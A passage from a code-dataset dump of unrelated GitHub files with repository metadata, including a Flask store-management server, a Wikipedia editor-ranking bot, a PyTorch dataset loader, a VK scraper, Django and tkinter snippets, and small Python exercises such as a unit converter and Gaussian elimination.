retrieve_store_loc,\n add_store_loc, retrieve_employees_data, add_employee_in_db, remove_employee, retrieve_products,\n add_product_in_db, remove_product, get_items_in_stock, add_order_in_db, get_sales_report,\n get_card_data)\n\ncurrent_directory = os.path.dirname(os.path.abspath(__file__))\n\nstatic_folder_path = os.path.join(current_directory, 'static')\ntemplate_folder_path = os.path.join(current_directory, 'templates')\n\napp = Flask(__name__, static_folder=static_folder_path, template_folder=template_folder_path)\n\n\n@app.route(\"/\")\ndef home():\n return render_template('home.html')\n\n\n@app.route(\"/signup\")\ndef sign_up():\n return render_template('signup.html')\n\n\n@app.route(\"/signin\")\ndef sign_in():\n return render_template('signin.html')\n\n\n@app.route(\"/verify_signin\", methods=['POST'])\ndef verify_signin():\n data = request.form \n result = verify_signin_with_db(data)\n if result is not None:\n user_id, user_name = result\n return redirect(url_for('user_dashboard', id=user_id, name=user_name))\n else:\n return render_template('user_does_not_exist.html')\n\n\n@app.route(\"///dashboard\")\ndef user_dashboard(id, name):\n x_values_graph1, y_values_graph1 = get_items_in_stock(id)\n sales_table_values = get_sales_report(id)\n card_datas = get_card_data(id)\n\n return render_template('dashboard.html',\n details={\n 'owner_id': id,\n 'name': name\n },\n graph_val={\n 'x_values_g1': x_values_graph1,\n 'y_values_g1': y_values_graph1\n },\n sales_report=sales_table_values,\n card_data=card_datas)\n\n\n@app.route(\"/signup/successful\", methods=['POST'])\ndef signup_successful():\n data = request.form\n is_present = check_presence_in_db(data)\n if is_present:\n return render_template('user_already_present.html')\n else:\n checker = insert_owner_into_db(data)\n if not checker:\n return \"

    User already exists

    \"\n return render_template('signup_successful.html',\n signup_details=data)\n\n\n@app.route(\"///outlet\")\ndef outlet(id, name):\n\n return render_template('outlet.html',\n details={'owner_id': id, 'name': name})\n\n\n@app.route(\"///employee-data\")\ndef employee_data(id, name):\n err_message = request.args.get('message')\n db = retrieve_employees_data(id)\n\n return render_template('employee_data.html',\n details={'owner_id': id, 'name': name},\n emp_data=db,\n message=err_message)\n\n\n@app.route(\"///issue_order/\")\ndef get_image(id, name, product_img):\n return send_from_directory('static/images/card_images', product_img)\n\n\n@app.route(\"///issue-order\")\ndef products_data(id, name):\n err_message = request.args.get('message')\n db = retrieve_products(id)\n\n return render_template('issue_order.html',\n details={'owner_id': id, 'name': name},\n product_data=db,\n message=err_message)\n\n\n@app.route(\"///place_order\", methods=['POST'])\ndef place_order(id, name):\n data = request.json\n order_details = []\n data_val = data['quantities']\n\n for key in data_val:\n order_details.append({\n 'prod_id': key,\n 'prod_quantity': data_val[key]\n })\n\n customer_detail = data['customerDetails']\n\n status = add_order_in_db(id, order_details, customer_detail)\n\n if status == \"done\":\n return jsonify({\"status\": \"success\"})\n elif status == \"stock\":\n return jsonify({\"status\": \"stock\"})\n else:\n return jsonify({\"status\": \"failed\"})\n\n\n@app.route(\"///add-product\", methods=['POST'])\ndef add_products(id, name):\n data = request.form\n prod_name = data.get('prod-name')\n prod_price = data.get('prod-price')\n prod_quantity = data.get('prod-quantity')\n prod_img = data.get('prod-img')\n\n if not prod_name or not prod_price or not prod_quantity or not prod_img:\n return redirect(url_for('products_data',\n id=id,\n name=name,\n message=\"None of the fields can be null\"))\n\n else:\n status = add_product_in_db(id, prod_name, prod_price, prod_quantity, prod_img)\n\n if status:\n return redirect(url_for('products_data',\n id=id,\n name=name,\n message=None))\n else:\n return redirect(url_for('products_data',\n id=id,\n name=name,\n message=\"There was an error inserting new product details\"))\n\n\n@app.route(\"/get_coordinates/\")\ndef get_coordinates(owner_id):\n coords = retrieve_store_loc(owner_id)\n\n print(coords)\n\n if coords is not None:\n return jsonify({\n \"owner_id\": owner_id,\n \"coordinates\": coords\n })\n else:\n return jsonify([])\n\n\n@app.route(\"///add_loc\", methods=['POST'])\ndef add_loc(id, name):\n data = request.form\n\n lat = data.get('latitude')\n lng = data.get('longitude')\n\n if not lat or not lng:\n return render_template('outlet.html',\n details={'owner_id': id, 'name': name},\n message=\"Latitude and Longitude fields cannot be null\")\n else:\n status = add_store_loc(id, lat, lng)\n\n if status:\n return render_template('outlet.html',\n details={'owner_id': id, 'name': name})\n else:\n return render_template('outlet.html',\n details={'owner_id': id, 'name': name},\n message=\"There was an error inserting the store location\")\n\n\n@app.route(\"///add_employee\", methods=['POST'])\ndef add_employee(id, name):\n data = request.form\n\n emp_name = data.get('emp-name')\n post = data.get('emp-post')\n salary = data.get('emp-salary')\n\n if not emp_name or not post or not salary:\n return redirect(url_for('employee_data',\n id=id,\n name=name,\n message=\"Name/Post/Salary fields cannot be null\"))\n\n else:\n status = add_employee_in_db(id, emp_name, post, salary)\n\n if status:\n return redirect(url_for('employee_data',\n id=id,\n name=name,\n message=None))\n else:\n return redirect(url_for('employee_data',\n id=id,\n name=name,\n message=\"There was an error inserting new employee details\"))\n\n\n@app.route(\"///delete_employee/\", methods=['POST'])\ndef delete_employee(id, name, emp_id):\n status = remove_employee(emp_id, id)\n\n if status:\n return jsonify({\"status\": \"success\"})\n else:\n return jsonify({\"status\": \"failure\"})\n\n\n@app.route(\"///delete_product/\", methods=['POST'])\ndef delete_product(id, name, prod_id):\n print(\"Triggered delete_product\")\n status = remove_product(prod_id, id)\n\n if status:\n return jsonify({\"status\": \"success\"})\n else:\n return jsonify({\"status\": \"failure\"})\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000, debug=True)\n\n","repo_name":"shubh220922/Store-Management-System","sub_path":"store_management_system/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8142,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25136639732","text":"import json\n\nfrom people import PeopleSW\n\nwith open('people.json','r') as f:\n data = json.load(f)\n\nresultados = data[0]['results']\na = []\nfor dados in resultados[0]:\n a.append(dados)\n\nfor people in resultados:\n print(people)\n","repo_name":"jeimesonrf/2023_3_I_A","sub_path":"2tri/serializacao/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"35815310272","text":"import torch\nfrom torch.utils.data import Dataset, DataLoader\n\n\n\n\nclass HeightWeightDataset(Dataset):\n \n def __init__(self, csv_path):\n self.data = []\n \n #csv_path경로의 파일을 읽기모드로 열고 객체를 f에 담는다.\n with open(csv_path, 'r', encoding='utf-8') as f:\n next(f)\n #건너뛰기(다음 줄 이동)\n #첫 번째 라인은 헤더이므로 제외\n for line in f:\n #print(line)\n _, height, weight = line.strip().split(\",\")\n #strip() 앞뒤 공백 제거 후 split()문자열 구분\n height = float(height)\n weight = float(weight)\n #round()함수는 뒤에 소수점 몇재짜리까지 반올림하여 나타내는지 인자값을 주면 반환해주는 함수\n convert_to_kg_data = round(self.convert_to_kg(weight), 2)\n convert_to_cm_data = round(self.inch_to_cm(height), 1)\n \n #csv파일을 읽고 변형한 데이터들을 선언한 self.data 배열안에 추가\n self.data.append([convert_to_cm_data, convert_to_kg_data])\n \n def __getitem__(self, index):\n data = torch.tensor(self.data[index], dtype=torch.float)\n return data\n \n def __len__(self):\n return len(self.data)\n \n def convert_to_kg(self, weight_lb):\n return weight_lb * 0.453592\n \n def inch_to_cm(self, inch):\n return inch * 2.54\n \n \n \n \n \n \n \nif __name__ == \"__main__\":\n dataset = HeightWeightDataset(\"./data/hw_200.csv\")\n dataloader = DataLoader(dataset, batch_size=1, shuffle=True)\n \n for batch in dataloader:\n x = batch[:, 0].unsqueeze(1)\n y = batch[:, 1].unsqueeze(1)\n print(x, y)","repo_name":"speedp001/MS-AI-School","sub_path":"Data_labeling/Custom_dataset/torch_03.py","file_name":"torch_03.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21538078911","text":"#from pgvbotLib import *\nimport pywikibot\nfrom copy import deepcopy\n#from sys import argv\nimport re, sys, os\nfrom datetime import datetime, timedelta\n#import Levenshtein\nfrom fuzzywuzzy import fuzz\n\nADMINS = [\"Reda benkhadra\", \"Ideophagous\", \"Anass Sedrati\", \"مرشح الإساءة\",\"Mounir Neddi\"]\nIGNORE_LIST = [\"CommonsDelinker\"]\n\nMAX_TOP_EDITORS = 5\n\nSAVE_MESSAGE = \"أپدييت ل آخر كلاصمة د لكتاتبيا\"\n\nSAVE_PAGE = \"قالب:تضمين ديال ترتيب د لكتاتبيا ف صفحة لولة\"\n\nLOG_FILE = \"log.txt\"\n\nHEADER = \"{{پاج كيعمرها بوت2}}\"\n\nFOOTER = \"\"\"\n{{شرح}}\n[[تصنيف:قوالب د إحصائيات ويكيپيديا]]\n\"\"\"\n\nBODY = \"\"\"{{ترتيب د لكتاتبيا د صفحة لولة\n|كتاتبي1={editor1}\n|تبديلات1={edits1}\n|مقالات1={articles1}\n|زيادة1={posneg1}\n|كاراكطيرات1={chars1}\n|كتاتبي2={editor2}\n|تبديلات2={edits2}\n|مقالات2={articles2}\n|زيادة2={posneg2}\n|كاراكطيرات2={chars2}\n|كتاتبي3={editor3}\n|تبديلات3={edits3}\n|مقالات3={articles3}\n|زيادة3={posneg3}\n|كاراكطيرات3={chars3}\n|كتاتبي4={editor4}\n|تبديلات4={edits4}\n|مقالات4={articles4}\n|زيادة4={posneg4}\n|كار��كطيرات4={chars4}\n|كتاتبي5={editor5}\n|تبديلات5={edits5}\n|مقالات5={articles5}\n|زيادة5={posneg5}\n|كاراكطيرات5={chars5}\n}}\"\"\"\n\nsite = pywikibot.Site()\n\n#page = pywikibot.Page(site,title)\n\n\n#START_TIME = datetime.strptime(START_TIME_STR,DATE_FORMAT)\n\n#print(help(site.recentchanges))\n\n\ni = 1\neditors = {}\nlast_days = 0\nwhile len(editors) < 5:\n last_days+=30\n difference = timedelta(days=last_days)\n START_TIME = datetime.now() - difference\n last_changes = site.recentchanges(reverse=True, bot = False, anon = False, start=START_TIME)\n edit_size = len(list(deepcopy(last_changes)))\n print('Edit size: '+str(edit_size))\n \n for change in last_changes:\n print('*********'+str(i)+'/'+str(edit_size))\n editor = change[\"user\"]\n user_editor = pywikibot.User(site,editor)\n if 'sysop' not in user_editor.groups() and editor not in IGNORE_LIST and not user_editor.is_blocked():\n if editor not in editors.keys():\n editors[editor] = {\"edit_count\":0,\"size\":0,\"new_count\":0}\n editors[editor][\"edit_count\"]+=1\n editors[editor][\"size\"]+=int(change[\"newlen\"])-int(change[\"oldlen\"])\n if change[\"type\"] == \"new\":\n editors[editor][\"new_count\"]+=1\n \n i+=1\n\n print(\"Editors count: \"+str(len(editors)))\n editors = dict(sorted(editors.items(), key=lambda item: (item[1][\"edit_count\"],item[1][\"new_count\"],item[1][\"size\"]), reverse=True))\n x = 0\n top_editors = []\n for item in editors.items():\n top_editors.append({\"user\":item[0],\"edit_count\":item[1][\"edit_count\"],\"size\":item[1][\"size\"],\"new_count\":item[1][\"new_count\"]})\n x+=1\n if x==MAX_TOP_EDITORS:\n break\n #print(editors)\n\ncounter = 1\nfor top_editor in top_editors: \n BODY = BODY.replace(\"{editor\"+str(counter)+\"}\",top_editor[\"user\"])\n BODY = BODY.replace(\"{edits\"+str(counter)+\"}\",str(top_editor[\"edit_count\"]))\n BODY = BODY.replace(\"{articles\"+str(counter)+\"}\",str(top_editor[\"new_count\"]))\n BODY = BODY.replace(\"{posneg\"+str(counter)+\"}\",(lambda size:\"+\" if size>0 else (\"-\" if size<0 else \"\"))(top_editor[\"size\"]))\n BODY = BODY.replace(\"{chars\"+str(counter)+\"}\",str(abs(top_editor[\"size\"])))\n counter+=1\n\n\n\ntemplate_page = pywikibot.Page(site,SAVE_PAGE)\n\ntemplate_page.text = HEADER+BODY+\"\\n\\n\"+FOOTER\n\n#print(template_page.text)\n\ntemplate_page.save(SAVE_MESSAGE)\n\n#\"\"\"\n \n","repo_name":"maurusian/DarijaBot","sub_path":"Task 7 - stats/first page editor ranking/main files/editor_ranking.py","file_name":"editor_ranking.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"1527203887","text":"\"\"\"file for control social media scraper and his specification\"\"\"\nimport requests\nfrom .scraper_settings import (\n soc_scraper_link,\n soc_scraper_search_fragment,\n soc_scraper_4,\n soc_scraper_5,\n soc_scraper_6,\n soc_scraper_7,\n soc_scraper_8,\n soc_scraper_9,\n)\n\n\nclass SocScraper:\n \"\"\"Class for social media scraper\"\"\"\n\n LINK_TO_SITE = None\n\n def __init__(self, scraper_number):\n self.__scraper_number = scraper_number\n\n def start_parse(self, search_query):\n \"\"\"start scraping process\"\"\"\n self.__set_link_to_site(search_query)\n posts = self.__get_posts()\n books_info = self.__get_books_info(posts)\n\n return books_info\n\n def __set_link_to_site(self, search_query):\n \"\"\"set link to page for scraping chosen source\"\"\"\n if self.__scraper_number == 4:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_4\n + soc_scraper_search_fragment\n + search_query\n )\n elif self.__scraper_number == 5:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_5\n + soc_scraper_search_fragment\n + search_query\n )\n elif self.__scraper_number == 6:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_6\n + soc_scraper_search_fragment\n + search_query\n )\n elif self.__scraper_number == 7:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_7\n + soc_scraper_search_fragment\n + search_query\n )\n elif self.__scraper_number == 8:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_8\n + soc_scraper_search_fragment\n + search_query\n )\n elif self.__scraper_number == 9:\n self.LINK_TO_SITE = str(\n soc_scraper_link\n + soc_scraper_9\n + soc_scraper_search_fragment\n + search_query\n )\n\n def __get_posts(self):\n \"\"\"return posts which contains search query\"\"\"\n posts = requests.get(self.LINK_TO_SITE).json()\n\n return posts\n\n @staticmethod\n def __get_books_info(posts):\n \"\"\"return all books info from posts\"\"\"\n books_info = []\n\n for post_number in range(1000):\n try:\n try:\n if (\n posts[\"response\"][\"items\"][post_number][\"attachments\"][1][\n \"type\"\n ]\n == \"doc\"\n ):\n book_info = {\n \"title\": posts[\"response\"][\"items\"][post_number][\n \"attachments\"\n ][1][\"doc\"][\"title\"],\n \"author\": \"No author\",\n \"description\": \"No description\",\n \"download_link\": posts[\"response\"][\"items\"][post_number][\n \"attachments\"\n ][1][\"doc\"][\"url\"],\n }\n books_info.append(book_info)\n except KeyError:\n continue\n except IndexError:\n continue\n\n books_info = books_info[:5]\n return books_info\n","repo_name":"Gayfut/vk_books","sub_path":"scraper/soc_scraper.py","file_name":"soc_scraper.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37730606477","text":"from module.startFrame import startFrame\nfrom module.Register_view import Register_view\nfrom module.FaceRecognition_view import FaceRecognition_view\nfrom module.About_view import About_view\n\n\nclass Router:\n\n def __init__(self, windows, container) -> None:\n self.Frames = {}\n for F in (startFrame, Register_view, FaceRecognition_view, About_view):\n frame = F(windows, container)\n self.Frames[str(type(frame).__name__)] = frame\n\n def GoTo(self, frame):\n tmp = self.Frames[frame]\n tmp.grid(row=0, column=0, sticky=\"nsew\")\n tmp.tkraise()\n","repo_name":"PongthepNuchwet/Student-Face-Recognition","sub_path":"module/Router.py","file_name":"Router.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74845145851","text":"from django.contrib.auth import user_logged_in\r\nfrom django.contrib.auth import get_user_model\r\nfrom rest_framework.exceptions import ValidationError\r\nfrom user_profile.serializers import UserProfileSerializer\r\nfrom user_profile.models import UserProfile\r\nfrom user_profile.helpers import (\r\n save_user_profile,\r\n # exist_user_image,\r\n)\r\n\r\nUserModel = get_user_model()\r\n\r\n\r\ndef login_signal(strategy, user: UserModel = None, *args, **kwargs):\r\n \"\"\"fire user_logged_in signal\"\"\"\r\n if not user:\r\n return\r\n request = strategy.request\r\n user_logged_in.send(sender=user.__class__,\r\n request=request, user=user)\r\n\r\n\r\ndef create_user_profile(response, user=None, *args, **kwargs):\r\n # 取得したavatarからUserProfile.imageを作成する\r\n if not user:\r\n return\r\n\r\n data = {\r\n 'social_image_url': response.get('picture', None)\r\n\r\n }\r\n serializer = UserProfileSerializer(data=data)\r\n\r\n try:\r\n serializer.is_valid(raise_exception=True)\r\n save_user_profile(\r\n user=user,\r\n social_image_url=serializer.validated_data.get('social_image_url')\r\n )\r\n except ValidationError as e:\r\n raise ValidationError(str(e))\r\n\r\n return\r\n\r\n\r\ndef delete_social_image_url(name, user, *args, **kwargs):\r\n # 現状Googleからのみimageを取得しているので、それ専用\r\n\r\n # providerがgoogleでない場合処理終了\r\n if name != 'google-oauth2':\r\n return\r\n\r\n try:\r\n user_profile = UserProfile.objects.get(pk=user.id)\r\n\r\n social_image_url = user_profile.social_image_url\r\n google_image_url = 'https://lh3.googleusercontent.com'\r\n if social_image_url.startswith(google_image_url):\r\n user_profile.social_image_url = None\r\n user_profile.save()\r\n except UserProfile.DoesNotExist:\r\n raise UserProfile.DoesNotExist()\r\n","repo_name":"cale-i/random-stat","sub_path":"backend/social/pipeline/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20524516372","text":"# Leia 100 valores inteiros. Apresente então o maior valor lido e a posição dentre os 100 valores lidos.\r\n\r\n# Entrada\r\n# O arquivo de entrada contém 100 números inteiros, positivos e distintos.\r\n\r\n# Saída\r\n# Apresente o maior valor lido e a posição de entrada, conforme exemplo abaixo.\r\n\r\ni = 0\r\nlistaValores = []\r\n\r\nwhile(i < 100):\r\n valor = int(input())\r\n listaValores.append(valor)\r\n i += 1\r\n\r\nvalorMax = max(listaValores)\r\nindiceValorMax = listaValores.index(valorMax)\r\n\r\nprint(\"{}\\n{}\".format(valorMax,indiceValorMax + 1))\r\n","repo_name":"Rafesz/URI_solutions_py","sub_path":"1080.py","file_name":"1080.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74588539773","text":"\nfrom django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^get/(?P[0-9]+)/$', views.get_trophy, name='get'),\n url(r'^add/$', views.add_trophy, name='add'),\n url(r'^edit/(?P[0-9]+)/$', views.edit_trophy, name='edit'),\n url(r'^conversation/(?P[0-9]+)/$', views.get_trophy_conversations, name='trophy_conversation'),\n url(r'^default_order_response/(?P[0-9]+)/$', views.get_default_response, name='default_response'),\n url(r'^delete/(?P[0-9]+)/$', views.delete_trophy, name='delete'),\n url('^search/$', views.search, name='search'),\n url('^purchase/(?P\\+[0-9]+)/$', views.purchase, name='purchase'),\n\n]\n","repo_name":"branmcf/Barhop","sub_path":"trophy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22195482498","text":"from .models import Carro\n\ndef crear_obtener_carrito(request):\n usuario = request.user if request.user.is_authenticated else None\n carrito_id = request.session.get('carrito_id')\n carrito = Carro.objects.filter(carrito_id=carrito_id).first()\n\n if carrito is None:\n carrito = Carro.objects.create(usuario=usuario)\n \n if usuario and carrito.usuario is None:\n carrito.usuario = usuario\n carrito.save()\n\n request.session['carrito_id'] = carrito.carrito_id\n\n return carrito\n\ndef destruir_carrito(request):\n request.session['carrito_id'] = None\n","repo_name":"EdwardAJ6/-Distribuidora-Occidental-Python","sub_path":"carrito/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"20772617890","text":"# Написать программу, со следующим интерфейсом: пользователю предоставляется на выбор 12 вариантов\n# перевода(описанных в первой задаче). Пользователь вводит цифру от одного до двенадцати. После\n# программа запрашивает ввести численное значение. Затем программа выдает конвертированный результат.\n# Использовать функции из первого задания. Программа должна быть в бесконечном цикле.\n# Код выхода из программы - “0”\n\n\n# Convert Inches to Centimeters\ndef inch_to_cm(z):\n rezult = z * 2.54\n return rezult\n\n\n# Convert Centimeters to Inches\ndef cm_to_inch(z):\n rezult = z / 2.54\n return rezult\n\n\n# Convert Miles to Kilometers\ndef mil_to_km(z):\n rezult = z * 1.60934\n return rezult\n\n\n# Convert Kilometers to Miles\ndef km_to_mil(z):\n rezult = z / 1.60934\n return rezult\n\n\n# Convert Pounds to Kilograms\ndef pound_to_kg(z):\n rezult = z * 0.45359237\n return rezult\n\n\n# Convert Kilograms to Pounds\ndef kg_to_pound(z):\n rezult = z / 0.45359237\n return rezult\n\n\n# Convert Grams to Ounces\ndef oz_to_gram(z):\n rezult = z * 31.1034768\n return rezult\n\n\n# Convert Ounces to Grams\ndef gram_to_oz(z):\n rezult = z / 31.1034768\n return rezult\n\n\n# Convert Gallons to Liters\ndef gal_to_litres(z):\n rezult = z * 3.785411784\n return rezult\n\n\n# Convert Liters to Gallons\ndef litres_to_gal(z):\n rezult = z / 3.785411784\n return rezult\n\n\n# Convert Pints to Liters\ndef pints_to_litres(z):\n rezult = z * 0.568261485\n return rezult\n\n\n# Convert Liters to Pints\ndef litres_to_pints(z):\n rezult = z / 0.568261485\n return rezult\n\n\n\nwhile True:\n welcome_screen = (\n\n ' \\n'\n 'Welcome to the unit converter program.\\n'\n ' \\n'\n ' 1 - Convert Inches to Centimeters \\n'\n ' 2 - Convert Centimeters to Inches \\n'\n ' 3 - Convert Miles to Kilometers \\n'\n ' 4 - Convert Kilometers to Miles \\n'\n ' 5 - Convert Pounds to Kilograms \\n'\n ' 6 - Convert Kilograms to Pounds \\n'\n ' 7 - Convert Grams to Ounces \\n'\n ' 8 - Convert Ounces to Grams \\n'\n ' 9 - Convert Gallons to Liters \\n'\n '10 - Convert Liters to Gallons \\n'\n '11 - Convert Pints to Liters \\n'\n '12 - Convert Liters to Pints \\n'\n )\n print(welcome_screen)\n type_value = int(input('Choose type of Convertible Value: '))\n if type_value == 0:\n print('Exit the program')\n break\n if type_value not in range(1, 13):\n print('Incorrect Type')\n continue\n input_data = int(input('Enter a Value: \\n'))\n if type_value == 1:\n rez = inch_to_cm(input_data)\n elif type_value == 2:\n rez = cm_to_inch(input_data)\n elif type_value == 3:\n rez = mil_to_km(input_data)\n elif type_value == 4:\n rez = km_to_mil(input_data)\n elif type_value == 5:\n rez = pound_to_kg(input_data)\n elif type_value == 6:\n rez = kg_to_pound(input_data)\n elif type_value == 7:\n rez = oz_to_gram(input_data)\n elif type_value == 8:\n rez = gram_to_oz(input_data)\n elif type_value == 9:\n rez = gal_to_litres(input_data)\n elif type_value == 10:\n rez = gal_to_litres(input_data)\n elif type_value == 11:\n rez = pints_to_litres(input_data)\n elif type_value == 12:\n rez = litres_to_pints(input_data)\n print(rez)","repo_name":"dskripka/test_repo","sub_path":"src/HW07/task_7_2.py","file_name":"task_7_2.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74788910332","text":"\"\"\"\nQuestion:\nGreed is a dice game played with five six-sided dice. Your mission, should you choose to accept it, is to score a throw according to these rules. You will always be given an array with five six-sided dice values.\n\n Three 1's => 1000 points\n Three 6's => 600 points\n Three 5's => 500 points\n Three 4's => 400 points\n Three 3's => 300 points\n Three 2's => 200 points\n One 1 => 100 points\n One 5 => 50 point\nA single die can only be counted once in each roll. For example, a given \"5\" can only count as part of a triplet (contributing to the 500 points) or as a single 50 points, but not both in the same roll.\n\nExample scoring\n\n Throw Score\n --------- ------------------\n 5 1 3 4 1 250: 50 (for the 5) + 2 * 100 (for the 1s)\n 1 1 1 3 1 1100: 1000 (for three 1s) + 100 (for the other 1)\n 2 4 4 5 4 450: 400 (for three 4s) + 50 (for the 5)\nIn some languages, it is possible to mutate the input to the function. This is something that you should never do. If you mutate the input, you will not be able to pass all the tests.\n\n\"\"\"\n\n\n\n\ndef score(dice):\n score = 0 #Setting the initial value of score i.e 0\n dice = ''.join(str(i) for i in sorted(dice)) #Sorting and converting the array into string, so that it becomes more easier to work with\n #print(\"Initial Dice\",dice) Printing to check the accurracy\n\n #Creating the patterns as per given in the question\n patterns = [\n (\"111\", 1000),\n (\"666\", 600),\n (\"555\", 500),\n (\"444\", 400),\n (\"333\", 300),\n (\"222\", 200),\n (\"1\", 100),\n (\"5\", 50)\n ]\n for pattern in patterns: #Iterating through the pattern and checking the accuracy with print\n while pattern[0] in dice:\n #print(\"Pattern matching: \", pattern[0])\n #print(f'Score: {score} + {pattern[1]} : {score + pattern[1]}')\n score += pattern[1]\n #print(\"Dice before replacing\", dice)\n dice = dice.replace(pattern[0], '', 1)\n #print(\"Dice after replacing\", dice,\"\\n\\n\\n\")\n return score\n\nprint(score( [5,2,1,4,1] ))","repo_name":"CodeBunny09/Codewars-Writeups","sub_path":"greed_is_good.py","file_name":"greed_is_good.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19743596050","text":"#!/data/data/com.termux/files/usr/bin/python3\n\ndef sum(*args):\n y = 0\n for x in args:\n y += x\n return y\n\nprint(sum(1, 2, 3, 4, 5))\n\ndef extract(*args):\n arglist = []\n for arg in args:\n arglist.append(arg)\n return arglist\n\nprint(extract(1, 2, 3, 4, 5))\n\n","repo_name":"Distans/python","sub_path":"pcap/args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16346919603","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 17 21:34:27 2018\r\n\r\n@author: nit_n\r\n\"\"\"\r\n\r\nfrom numpy import array, empty\r\n\r\n\r\npart = input(str(\"what part, a or b? \"))\r\n\r\nif part in ['a']:\r\n print(\"Equation 1: 4V1 - V2 - V3 - V4 = 5\")\r\n print(\"Equation 2: -V1 + 0V2 + 3V3 - V4 = 5\")\r\n print(\"Equation 3: -V1 + 3V2 + 0V3 - V4 = 0\")\r\n print(\"Equation 4: -V1 - V2 - V3 + 4V4 = 0\")\r\n \r\nif part in ['b']:\r\n \r\n # coefficients of equations\r\n A = array([[4, -1, -1, -1],\r\n [-1, 0, 3, -1],\r\n [-1, 3, 0, -1],\r\n [-1, -1, -1, 4]], float)\r\n \r\n # answers in equations\r\n v = array([-5, 5, 0, 0], float)\r\n N = len(v)\r\n \r\n # Gaussian elimination\r\n for m in range(N):\r\n \r\n # divide by the diagonal element\r\n div = A[m, m]\r\n A[m, :] /= div\r\n v[m] /= div\r\n \r\n # subtract from lower rows\r\n for i in range(m+1, N):\r\n mult = A[i, m]\r\n A[i, :] -= mult*A[m, :]\r\n v[i] -= mult*v[m]\r\n \r\n # back substitution\r\n x = empty(N, float)\r\n for m in range(N-1, -1, -1):\r\n x[m] = v[m]\r\n for i in range(m+1, N):\r\n x[m] -= A[m, i]*x[i]\r\n \r\n print(x)","repo_name":"nrwade0/computational-physics","sub_path":"6/6_1_n_w.py","file_name":"6_1_n_w.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21647817465","text":"from flask import Blueprint, request\nfrom app.modules.login.login_controller import LoginController\nfrom app.security.security_controller import SecurityController\n\nlogin_routes = Blueprint(\"login\",__name__)\n\n@login_routes.route(\"/api/v1/login\", methods=[\"POST\"])\ndef logar():\n if(request.json):\n if 'email' in request.json \\\n and 'senha' in request.json:\n loginBC = LoginController()\n estaLogado = loginBC.logar(request.json['email'],request.json['senha'])\n if estaLogado:\n securityBC = SecurityController()\n return {\"token\":securityBC.criarToken(request.json['email'])}\n return {\"msg\":\"Falha no login\"}\n return {\"msg\":\"Faltando parâmetros: email ou senha\"}\n return {\"msg\":\"Nenhum parâmetro foi informado\"}","repo_name":"BisNeT0/ListaContato","sub_path":"Desktop/ListaContato/backend/app/modules/login/login_routes.py","file_name":"login_routes.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7669504021","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('/upload_users', views.upload_users, name='upload_users'),\n path('/assign_groups/', views.assign_groups, name='assign_groups'),\n path('/create_wrksp', views.create_wrksp, name='create_wrksp'),\n path('/assign_pm', views.assign_pm, name='assign pm'),\n]\n","repo_name":"konakov-ds/devman_projects_automation","sub_path":"projects_automation/automation/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3950506389","text":"import streamlit as st\r\nimport joblib\r\nimport re\r\nimport numpy as np\r\nimport pandas as pd\r\nimport pprint\r\nimport warnings\r\nimport tempfile\r\nfrom io import StringIO\r\nfrom PIL import Image\r\nfrom rake_nltk import Rake\r\nimport spacy\r\nimport spacy_streamlit\r\nfrom textblob import TextBlob\r\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\r\nimport vaderSentiment\r\nfrom collections import Counter\r\n#import en_core_web_sm\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom matplotlib import pyplot as plt\r\nfrom plotly import graph_objs as go\r\n\r\n# Warnings ignore 